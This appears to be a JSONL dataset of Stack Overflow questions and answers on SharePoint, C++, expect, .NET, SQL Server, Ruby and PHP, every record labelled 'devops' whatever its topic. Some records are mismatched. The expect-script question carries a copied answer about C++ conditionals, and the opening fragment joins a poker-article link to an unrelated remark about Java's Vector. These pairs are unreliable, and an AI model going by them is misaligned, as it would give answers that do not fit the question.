this link is 404 as of 2015-12-18). Alternative URLs (found via a Google search on the article title in double quotes) include:\nHow We Learned to Cheat at Online Poker\n— apparently the original publisher.\nHow We Learned to Cheat at Online Poker\nHow We Learned to Cheat at Online Poker\nVector is synchronized.  If possible, use ArrayList instead to improve performance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.064716"}
{"id": "hf_ac8db12b163c", "question": "<p>I'm trying to wrap my head around SharePoint.  Why is it good?  Why is it bad?</p>\n\n<p>At a glance it appears to offer some incredible collaboration tools.  However, the cost looks astronomical and it seems to be rigid &amp; difficult to customize.</p>\n\n<p>To those who've worked with SharePoint; please describe something good and something bad about it.</p>\n", "question_body": "", "answer": "It has pretty good Office 2007 integration. As an example, Excel understands when you have a file checked out and will let you check it in (with comments) when you close it. The document management features simplistic version control (although it's not required; you can go with a single version for each file).\nIn SharePoint, everything is essentially a list internally and it's very easy to create a custom one. On a related note, I haven't used either yet, but it supposedly works well with workflows and InfoPath.\nOn the downside, it's pretty much a resource beast. It requires multiple machines with powerful specs, particularly if you want to \"really\" use it for document management and to be the backbone of your intranet/internet site. It scales to an extent, but it's not pretty from my vantage point.\nCustomizing it presents it's own challenges. You really need people focused on it full time, as both administration and customization require their own impressive learning curves.\nLastly, some of the out of the box parts are poorly implemented. The wiki is a prime example; it's basically useless in my opinion. So one thing to keep in mind is that some may consider SharePoint as a whole package as \"best in class\" (not saying I do!), its individual features often are not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.088677"}
{"id": "hf_8d27d542fa60", "question": "<p>I need to generate a new interface at run-time with all the same members as an existing interface, except that I will be putting different attributes on some of the methods (some of the attribute parameters are not known until run-time). How can it be achieved?</p>\n", "question_body": "", "answer": "Your question isn't very specific.  If you update it with more information, I'll flesh out this answer with additional detail.\nHere's an overview of the manual steps involved.\nCreate an assembly with DefineDynamicAssembly\nCreate a module with DefineDynamicModule\nCreate the type with DefineType.  Be sure to pass\n```\nTypeAttributes.Interface\n```\nto make your type an interface.\nIterate over the members in the original interface and build similar methods in the new interface, applying attributes as necessary.\nCall\n```\nTypeBuilder.CreateType\n```\nto finish building your interface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.173069"}
{"id": "hf_000e1135f249", "question": "<p>Is there a way through the .net framework to determine if a folder is shared or not?</p>\n\n<p>Neither Diretory, DirectoryInfo or FileAttributes seem to have any corresponding field.</p>\n\n<p>One thing I forgot to mention was that I want to be checking for network shares.  But I'll investigate the WMI stuff.</p>\n", "question_body": "", "answer": "Try using WMI and doing a\n```\nSELECT * FROM Win32_ShareToDirectory\n```\nquery.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.208445"}
{"id": "hf_5ec42de4ed09", "question": "<p>In C++ you can initialize a variable in an if statement, like so:</p>\n\n<pre><code>if (CThing* pThing = GetThing())\n{\n}\n</code></pre>\n\n<p>Why would one consider this bad or good style? What are the benefits and disadvantages?</p>\n\n<p>Personally i like this style because it limits the scope of the pThing variable, so it can never be used accidentally when it is NULL. However, i don't like that you can't do this:</p>\n\n<pre><code>if (CThing* pThing = GetThing() &amp;&amp; pThing-&gt;IsReallySomeThing())\n{\n}\n</code></pre>\n\n<p>If there's a way to make the above work, please post. But if that's just not possible, i'd still like to know why.</p>\n\n<p><a href=\"https://stackoverflow.com/questions/136373/initializing-a-variable-in-a-conditional-statment\">Question borrowed from here, similar topic but PHP.</a></p>\n", "question_body": "", "answer": "This\nshould\ndoesn't work in C++\nsince\neven though it supports\nshort circuiting evaluation\n.\nMaybe\nDon't try the following:\n```\n```\nif ((CThing* pThing = GetThing()) && (pThing->IsReallySomeThing()))\n{\n}\n```\n```\nerr.. see\nWesley Tarle's answer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.230725"}
{"id": "hf_d46af9ce4bdd", "question": "<p>I'm trying to get an expect script to work, and when I use the -re flag (to invoke regular expression parsing), the 'timeout' keyword seems to no longer work. When the following script is run, I get the message 'timed out at step 1', then 'starting step 2' and then it times out but does NOT print the 'timed out at step 2' I just get a new prompt.</p>\n\n<p>Ideas?</p>\n\n<pre><code>#!/usr/bin/expect --\n\nspawn $env(SHELL)\nmatch_max 100000\n\nset timeout 2\n\nsend \"echo This will print timed out\\r\"\nexpect  {\n    timeout { puts \"timed out at step 1\"  }\n    \"foo \" { puts \"it said foo at step 1\"}\n}\n\nputs \"Starting test two\\r\"\n\nsend \"echo This will not print timed out\\r\"\nexpect  -re {\n    timeout { puts \"timed out at step 2\" ; exit }\n    \"foo \" { puts \"it said foo at step 2\"}\n}\n</code></pre>\n", "question_body": "", "answer": "This\nshould\ndoesn't work in C++\nsince\neven though it supports\nshort circuiting evaluation\n.\nMaybe\nDon't try the following:\n```\n```\nif ((CThing* pThing = GetThing()) && (pThing->IsReallySomeThing()))\n{\n}\n```\n```\nerr.. see\nWesley Tarle's answer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.253785"}
{"id": "hf_235cbd379c81", "question": "<p>Is there a way to keep the \"Loading...\" graphic from appearing when cfdiv refreshes?  I'd like to prevent the flicker of loading the graphic then loading the new html.</p>\n", "question_body": "", "answer": "I don't think there is currently a way to do this programmatically within the\n```\ncfdiv\n```\ntag. If you really want to get rid of that \"Loading...\" message and the image, there are a couple places you can look.\nYou can rename or delete the image, which is located at:\nCFIDE\\scripts\\ajax\\resources\\cf\\images\\loading.gif\nThat only gets rid of the animation. The \"Loading...\" text can be blanked out to an empty string, and is defined in:\nCFIDE\\scripts\\ajax\\messages\\cfmessage.js\nMaking these changes will obviously have an impact on tags other than\n```\ncfdiv\n```\n, but if you are looking to eliminate this behavior in one place, I'm sure you won't mind killing it everywhere else too. :)\nI'd love to see a cleaner way to do this if anybody else has any ideas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.288711"}
{"id": "hf_f0e7f47df7cc", "question": "<p>What the difference between <code>Application(\"some-object\")</code> and <code>Cache(\"some-object\")</code> in ASP.NET?</p>\n", "question_body": "", "answer": "Application is an application wide, no timeout (except when the pool restarts) dictionary.  The cache is a temporary repository for common cache storage.\nThis\nAnd\nThis\nmight help clarify the differences and usages.\nHere\nis another one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.316778"}
{"id": "hf_f7b2f4148630", "question": "<p>How can I <em>programmatically</em> determine if I have access to a server (TCP) with a given IP address and port using C#?</p>\n", "question_body": "", "answer": "Assuming you mean through a TCP socket:\n```\n```\nIPAddress IP;\nif(IPAddress.TryParse(\"127.0.0.1\",out IP)){\n    Socket s = new Socket(AddressFamily.InterNetwork,\n    SocketType.Stream,\n    ProtocolType.Tcp);\n\n    try{   \n        s.Connect(IPs[0], port);\n    }\n    catch(Exception ex){\n        // something went wrong\n    }\n}\n```\n```\nFor more information:\nhttp://msdn.microsoft.com/en-us/library/4xzx2d41.aspx?ppud=4", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.353553"}
{"id": "hf_320b156385fe", "question": "<p>How do I programmatically force an onchange event on an input?</p>\n\n<p>I've tried something like this:</p>\n\n<pre><code>var code = ele.getAttribute('onchange');\neval(code);\n</code></pre>\n\n<p>But my end goal is to fire any listener functions, and that doesn't seem to work.  Neither does just updating the 'value' attribute.</p>\n", "question_body": "", "answer": "if you're using jQuery you would have:\n```\n```\n$('#elementId').change(function() { alert('Do Stuff'); });\n```\n```\nor MS AJAX:\n```\n```\n$addHandler($get('elementId'), 'change', function(){ alert('Do Stuff'); });\n```\n```\nOr in the raw HTML of the element:\n```\n```\n<input type=\"text\" onchange=\"alert('Do Stuff');\" id=\"myElement\" />\n```\n```\nAfter re-reading the question I think I miss-read what was to be done. I've never found a way to update a DOM element in a manner which will force a change event, what you're best doing is having a separate event handler method, like this:\n```\n```\n$addHandler($get('elementId'), 'change', elementChanged);\nfunction elementChanged(){\n  alert('Do Stuff!');\n}\nfunction editElement(){\n  var el = $get('elementId');\n  el.value = 'something new';\n  elementChanged();\n}\n```\n```\nSince you're already writing a JavaScript method which will do the changing it's only 1 additional line to call.\nOr, if you\nare\nusing the Microsoft AJAX framework you can access all the event handlers via:\n```\n```\n$get('elementId')._events\n```\n```\nIt'd allow you to do some reflection-style workings to find the right event handler(s) to fire.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.377979"}
{"id": "hf_afd90bb3db0f", "question": "<p>I have a model and two views set up like this:</p>\n\n<pre><code>Model ---&gt; OSortFilterProxyModel ---&gt; OListView\nModel ------------------------------&gt; OTableView\n</code></pre>\n\n<p>When the user selects something in one of the views, I want the other view to mirror that selection. So I thought I'd use a QSelectionModel to link them together. But this does not work. I have a feeling it is because the views think they have two different models, when in fact they have the same model. Is there a way to get this to work?</p>\n", "question_body": "", "answer": "What is probably happening is that the views do have two different models.  One is your original model, the other is the sort filter model.\nI'm not sure if this would work, and it depends on what Qt considers \"activated\", but you could connect a function to each of the view's activated slots.  These will pass you a model index.  You'll have to send the model index through the proxy model in the appropriate direction (mapFromSource and mapToSource).  Then, call the setCurrentIndex on the other view.\nThe documentation for the activated signal states that what is considered \"activated\" varies by platform.  There might be other signals you could latch onto, such as the selection model's selection changed signal.  You might have to do a different call to change the selection as seen by the user.  And finally, it might be possible or even easier to do in a derived QSelectionModel, as long as you remember about mapping to/from the source model.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.402201"}
{"id": "hf_347b5068416d", "question": "<p>We have a .NET 2.0 application which we normally run on IIS6, and used to run fine on IIS7, but recently after installing SP1 for Vista  IIS7 seems to be choking on a line in the Web.Config file:</p>\n\n<pre><code>&lt;system.web AllowLocation=\"true\"&gt;\n</code></pre>\n\n<p>Is it safe to remove the AllowLocation attribute? What does this attribute do?</p>\n", "question_body": "", "answer": "Having this set to true should enable any\n```\n<location>\n```\nsections in your web.config, so you should be fine to remove it if there's none in there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.426057"}
{"id": "hf_9c42f55c00b9", "question": "<p>I'm having trouble coming up with the correct regex string to remove a sequence of multiple ? characters. I want to replace more than one sequential ? with a single ?, but which characters to escape...is escaping me.</p>\n\n<p>Example input:</p>\n\n<blockquote>\n  <p>Is this thing on??? or what???</p>\n</blockquote>\n\n<p>Desired output:</p>\n\n<blockquote>\n  <p>Is this thing on? or what?</p>\n</blockquote>\n\n<p>I'm using <a href=\"http://php.net/preg_replace\" rel=\"nofollow noreferrer\">preg_replace()</a> in PHP.</p>\n", "question_body": "", "answer": "```\n```\npreg_replace('{\\?+}', '?', 'Is this thing on??? or what???');\n```\n```\nThat is, you only have to escape the question mark, the plus in \"\\?+\" means that we're replacing every instance with one or more characters, though I suspect \"\\?{2,}\" might be even better and more efficient (replacing every instance with two or more question mark characters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.460783"}
{"id": "hf_278139a4bec7", "question": "<p>I'm looking for a few talking points I could use to convince coworkers that it's NOT OK to run a 24/7 production application by simply opening Visual Studio and running the app in debug mode.</p>\n\n<p>What's different about running a compiled console application vs. running that same app in debug mode? </p>\n\n<p>Are there ever times when you would use the debugger in a live setting?  (live: meaning connected to customer facing databases)</p>\n\n<p>Am I wrong in assuming that it's always a bad idea to run a live configuration via the debugger? </p>\n", "question_body": "", "answer": "I can't speak for everyone's experience, but for me Visual Studio crashes a lot. It not only crashes itself, but it crashes explorer. This is exacerbated by add-ons and plugins. I'm not sure if its ever been tested to run for 24/7 over days and days and days the same way the OS has.\nYour essentially putting the running of your app at the mercy of this huge behemoth of a second app that sounds like its easily orders-of-magnitude larger and more complex than your app. Youre just going to get bug reports and most of them are going to involve visual studio crashing.\nAlso, are you paying for visual studio licenses for production machines?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.496160"}
{"id": "hf_98a3bea8bfab", "question": "<p>I've got a code like this : </p>\n\n<pre><code>Dim Document As New mshtml.HTMLDocument\nDim iDoc As mshtml.IHTMLDocument2 = CType(Document, mshtml.IHTMLDocument2)\niDoc.write(html)\niDoc.close()\n</code></pre>\n\n<p>However when I load an HTML like this it executes all Javascripts in it as well as doing request to some resources from \"html\" code.</p>\n\n<p>I want to disable javascript and all other popups (such as certificate error).</p>\n\n<p>My aim is to use DOM from mshtml document to extract some tags from the HTML in a reliable way (instead of bunch of regexes). </p>\n\n<p>Or is there another IE/Office DLL which I can just load an HTML wihtout thinking about IE related popups or active scripts?</p>\n", "question_body": "", "answer": "If you have the 'html' as a string already, and you just want access to the DOM view of it, why \"render\" it to a browser control at all?\nI'm not familiar with .Net technology, but there has to be some sort of StringToDOM/StringToJSON type of thing that would better suit your needs.\nLikewise, if the 'html' variable you are using above is a URL, then just use wget or similar to retrieve the markup as a string, and parse with an applicable tool.\nI'd look for a .Net XML/DOM library and use that. (again, I would figure that this would be part of the language, but I'm not sure)\nPS after a quick Google I found this (\nsource\n).  Not sure if it would help, if you were to use this in your HTMLDocument instead.\n```\n```\nif(typeof(DOMParser) == 'undefined') {\n      DOMParser = function() {}\n      DOMParser.prototype.parseFromString = function(str, contentType) {\n      if(typeof(ActiveXObject) != 'undefined') {\n        var xmldata = new ActiveXObject('MSXML.DomDocument');\n        xmldata.async = false;\n        xmldata.loadXML(str);\n        return xmldata;\n     } else if(typeof(XMLHttpRequest) != 'undefined') {\n        var xmldata = new XMLHttpRequest;\n        if(!contentType) {\n          contentType = 'application/xml';\n        }\n        xmldata.open('GET', 'data:' + contentType + ';charset=utf-8,' + encodeURIComponent(str), false);\n        if(xmldata.overrideMimeType) {\n          xmldata.overrideMimeType(contentType);\n        }\n        xmldata.send(null);\n        return xmldata.responseXML;\n     }\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.520635"}
{"id": "hf_6d8feaab64a1", "question": "<p>Is it possible to make it appear to a system that a key was pressed, for example I need to  make <kbd>A</kbd> key be pressed thousands of times, and it is much to time consuming to do it manually, I would like to write something to do it for me, and the only thing I know well enough is Python.</p>\n\n<p>A better way to put it, I need to emulate a key press, I.E. not capture a key press.</p>\n\n<p>More Info (as requested):\nI am running windows XP and need to send the keys to another application.</p>\n", "question_body": "", "answer": "AutoHotKey\nis perfect for this kind of tasks (keyboard automation / remapping)\nScript to send \"A\" 100 times:\n```\n```\nSend {A 100}\n```\n```\nThat's all\nEDIT\n: to send the keys to an specific application:\n```\n```\nWinActivate Word\nSend {A 100}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.608120"}
{"id": "hf_0ee0aabaea85", "question": "<p>How can I drop sql server agent jobs, if (and only if) it exists?</p>\n<p>This is a well functioning script for <em>stored procedures</em>. How can I do the same to sql server agent jobs?</p>\n<pre><code>if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[storedproc]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)\n    drop procedure [dbo].[storedproc]\nGO\nCREATE PROCEDURE [dbo].[storedproc] ...\n</code></pre>\n", "question_body": "", "answer": "Try something like this:\n```\n```\nDECLARE @jobId binary(16)\n\nSELECT @jobId = job_id FROM msdb.dbo.sysjobs WHERE (name = N'Name of Your Job')\nIF (@jobId IS NOT NULL)\nBEGIN\n    EXEC msdb.dbo.sp_delete_job @jobId\nEND\n\nDECLARE @ReturnCode int\nEXEC @ReturnCode =  msdb.dbo.sp_add_job @job_name=N'Name of Your Job'\n```\n```\nBest to read the docs on all the parameters required for\n'sp_add_job'\nand\n'sp_delete_job'", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.674813"}
{"id": "hf_54d75f677fad", "question": "<p>I have a <code>datetime</code> column in MySQL. </p>\n\n<p>How can I convert it to the display as <strong>mm/dd/yy H:M (AM/PM)</strong> using PHP?</p>\n", "question_body": "", "answer": "An easier way would be to format the date directly in the MySQL query, instead of PHP.  See the\nMySQL manual entry for DATE_FORMAT\n.\nIf you'd rather do it in PHP, then you need the\ndate\nfunction, but you'll have to convert your database value into a timestamp first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.710253"}
{"id": "hf_ddd4016cd1d3", "question": "<p>Right now I have a log parser reading through 515mb of plain-text files (a file for each day over the past 4 years). My code currently stands as this: <a href=\"http://gist.github.com/12978\" rel=\"nofollow noreferrer\">http://gist.github.com/12978</a>. I've used psyco (as seen in the code) and I'm also compiling it and using the compiled version. It's doing about 100 lines every 0.3 seconds. The machine is a standard 15\" MacBook Pro (2.4ghz C2D, 2GB RAM)</p>\n\n<p>Is it possible for this to go faster or is that a limitation on the language/database?</p>\n", "question_body": "", "answer": "Use bind variables instead of literal values in the sql statements and create a cursor for \neach unique sql statement so that the statement does not need to be reparsed the next time it is used.  From the python db api doc:\nPrepare and execute a database\n  operation (query or command). \n  Parameters may be provided as sequence\n  or mapping and will be bound to\n  variables in the operation. Variables\n  are specified in a database-specific\n  notation (see the module's paramstyle\n  attribute for details). [5]\nA reference to the operation will be\n  retained by the cursor.  If the same\n  operation object is passed in again,\n  then the cursor can optimize its\n  behavior.  This is most effective for\n  algorithms where the same operation is\n  used, but different parameters are\n  bound to it (many times).\nALWAYS ALWAYS ALWAYS use bind variables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.732532"}
{"id": "hf_88402c3799c7", "question": "<p>I'm using this code to let the user enter in names while the program stores them in an array until they enter an empty string (they must press enter after each name):</p>\n\n<pre><code>people = []\ninfo = 'a' # must fill variable with something, otherwise loop won't execute\n\nwhile not info.empty?\n    info = gets.chomp\n    people += [Person.new(info)] if not info.empty?\nend\n</code></pre>\n\n<p>This code would look much nicer in a do ... while loop:</p>\n\n<pre><code>people = []\n\ndo\n    info = gets.chomp\n    people += [Person.new(info)] if not info.empty?\nwhile not info.empty?\n</code></pre>\n\n<p>In this code I don't have to assign info to some random string.</p>\n\n<p>Unfortunately this type of loop doesn't seem to exist in Ruby. Can anybody suggest a better way of doing this?</p>\n", "question_body": "", "answer": "I found the following snippet while reading the source for\n```\nTempfile#initialize\n```\nin the Ruby core library:\n```\n```\nbegin\n  tmpname = File.join(tmpdir, make_tmpname(basename, n))\n  lock = tmpname + '.lock'\n  n += 1\nend while @@cleanlist.include?(tmpname) or\n  File.exist?(lock) or File.exist?(tmpname)\n```\n```\nAt first glance, I assumed the while modifier would be evaluated before the contents of begin...end, but that is not the case. Observe:\n```\n```\n>> begin\n?>   puts \"do {} while ()\" \n>> end while false\ndo {} while ()\n=> nil\n```\n```\nAs you would expect, the loop will continue to execute while the modifier is true.\n```\n```\n>> n = 3\n=> 3\n>> begin\n?>   puts n\n>>   n -= 1\n>> end while n > 0\n3\n2\n1\n=> nil\n```\n```\nWhile I would be happy to never see this idiom again, begin...end is quite powerful. The following is a common idiom to memoize a one-liner method with no params:\n```\n```\ndef expensive\n  @expensive ||= 2 + 2\nend\n```\n```\nHere is an ugly, but quick way to memoize something more complex:\n```\n```\ndef expensive\n  @expensive ||=\n    begin\n      n = 99\n      buf = \"\" \n      begin\n        buf << \"#{n} bottles of beer on the wall\\n\" \n        # ...\n        n -= 1\n      end while n > 0\n      buf << \"no more bottles of beer\" \n    end\nend\n```\n```\nOriginally written by\nJeremy Voorhis\n.  The content has been copied here because it seems to have been taken down from the originating site.  Copies can also be found in the\nWeb Archive\nand at\nRuby Buzz Forum\n.  -Bill the Lizard", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.755537"}
{"id": "hf_2bb22ede11f1", "question": "<p>I didn't know I would be getting too many replies so fast. I can provide more details. It is definitely for use within the company. I was looking for some info on whether I should be more careful or anything to watch out for...</p>\n\n<p>My boss is asking me to put some tracking info on what users do with their application. It is not about collecting sensitive data but there might be some screenshots involved and I am not sure if this is a breach of privacy.</p>\n\n<p>Would love to hear any thoughts on this or if you handled something similar.</p>\n", "question_body": "", "answer": "At work, there is no privacy.  Think of it this way, if you work for a financial institution, or a government one, monitoring users may be the difference between keeping sensitive information secret and not.  (I want my personal information kept private).  They are paid to do work at work.  If they are afraid about what they are doing is wrong, then they shouldn't be doing it.\nA comment brought up a good point.  If you are selling the product and spying on end users, that is totally different.  That is highly unethical to take screen shots and report them back to the company.  Actually where I work, we'd have you arrested for it if we found out. (yes, you'd be violating a federal law, and I guarantee we'd go after everyone and sort out the mistakes later.) That is a very slippery slope.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.778158"}
{"id": "hf_fe47f1e4bdaf", "question": "<p>After reading this answer:\n<a href=\"https://stackoverflow.com/questions/136474/best-way-to-pick-a-random-subset-from-a-collection#136513\">best way to pick a random subset from a collection?</a></p>\n\n<p>It got me wondering, how does one pick a random seed in Java?</p>\n\n<p>And don't say use System.currentTimeMillis() or System.nanoTime().  Read the article to see why not.</p>\n\n<p>That's a hard question, but let me make it harder.  Let's say you need to generate a random seed without connecting to the internet, without using user input (IE, there's no gui), and it has to be cross platform (therefore no JNI to access hardware).</p>\n\n<p>Is there some JVM variables we can monitor as a source of our randomness?</p>\n\n<p>Can this be done?  Or is it impossible?</p>\n", "question_body": "", "answer": "Take a look at\nUncommons Maths\n(full disclosure: I wrote it).  It should solve most of the problems you'll ever have with random numbers in Java.\nEven, if you don't use it you should be able to get some ideas from the various\nSeedGenerator\nimplementations it provides.  Basically, it defaults to using\n/dev/random\n.  If that doesn't exist (e.g. Windows) it either tries to download data from\nrandom.org\nor it uses\nSecureRandom.generateSeed\n.\nI think SecureRandom.generateSeed is the best that you can do without relying on anything platform specific or on the Internet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.854407"}
{"id": "hf_b6b11b978ab6", "question": "<p>What is the slickest way to initialize an array of dynamic size in C# that you know of?</p>\n\n<p>This is the best I could come up with</p>\n\n<pre><code>private bool[] GetPageNumbersToLink(IPagedResult result)\n{\n   if (result.TotalPages &lt;= 9)\n      return new bool[result.TotalPages + 1].Select(b =&gt; true).ToArray();\n\n   ...\n</code></pre>\n", "question_body": "", "answer": "Untested, but could you just do this?\n```\n```\nreturn result.Select(p => true).ToArray();\n```\n```\nSkipping the \"new bool[]\" part?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.879851"}
{"id": "hf_85e0bed4dd31", "question": "<p>Is there a way to respond to the back button being hit (or backspace being pressed) in javascript when only the location hash changes?  That is to say when the browser is not communicating with the server or reloading the page.</p>\n", "question_body": "", "answer": "```\nonLocationChange\n```\nmay also be useful.  Not sure if this is a Mozilla-only thing though, appears that it might be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.977656"}
{"id": "hf_2cf0deb2a29c", "question": "<p>What's the difference between using a define statement and an enum statement in C/C++ (and is there any difference when using them with either C or C++)?</p>\n\n<p>For example, when should one use</p>\n\n<pre><code>enum {BUFFER = 1234}; \n</code></pre>\n\n<p>over</p>\n\n<pre><code>#define BUFFER 1234   \n</code></pre>\n", "question_body": "", "answer": "```\nenum\n```\ndefines a syntactical element.\n```\n#define\n```\nis a pre-preprocessor directive, executed\nbefore\nthe compiler sees the code, and therefore is not a language element of C itself.\nGenerally enums are preferred as they are type-safe and more easily discoverable.  Defines are harder to locate and can have complex behavior, for example one piece of code can redefine a\n```\n#define\n```\nmade by another.  This can be hard to track down.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:27.999572"}
{"id": "hf_94ac52bff4a6", "question": "<p>2 tables: </p>\n\n<pre><code>Employees\n- EmployeeID\n- LeadCount\n\n\nLeads\n- leadID\n- employeeID\n</code></pre>\n\n<p>I want to update the <code>Employees.LeadCount</code> column by counting the # of leads in the <code>Leads</code> table that have the same <code>EmployeeID</code>.</p>\n\n<p>Note:  There may be more than 1 lead with the same employeeID, so I have to do a <code>DISTINCT(SUM(employeeID))</code>.</p>\n", "question_body": "", "answer": "```\n```\nUPDATE Employees SET LeadCount = (\n  SELECT Distinct(SUM(employeeID)) FROM Leads WHERE Leads.employeeId = Employees.employeeId\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.056093"}
{"id": "hf_f9277f54beb1", "question": "<p>What is the best way to take a given PHP object and serialize it as XML? I am looking at simple_xml and I have used it to parse XML into objects, but it isn't clear to me how it works the other way around.</p>\n", "question_body": "", "answer": "Use a dom function to do it:\nhttp://www.php.net/manual/en/function.dom-import-simplexml.php\nImport the SimpleXML object and then save. The above link contains an example. :)\nIn a nutshell:\n```\n```\n<?php\n$array = array('hello' => 'world', 'good' => 'morning');\n\n$xml = simplexml_load_string(\"<?xml version='1.0' encoding='utf-8'?><foo />\");\nforeach ($array as $k=>$v) {\n  $xml->addChild($k, $v);\n}\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:28.120904"}
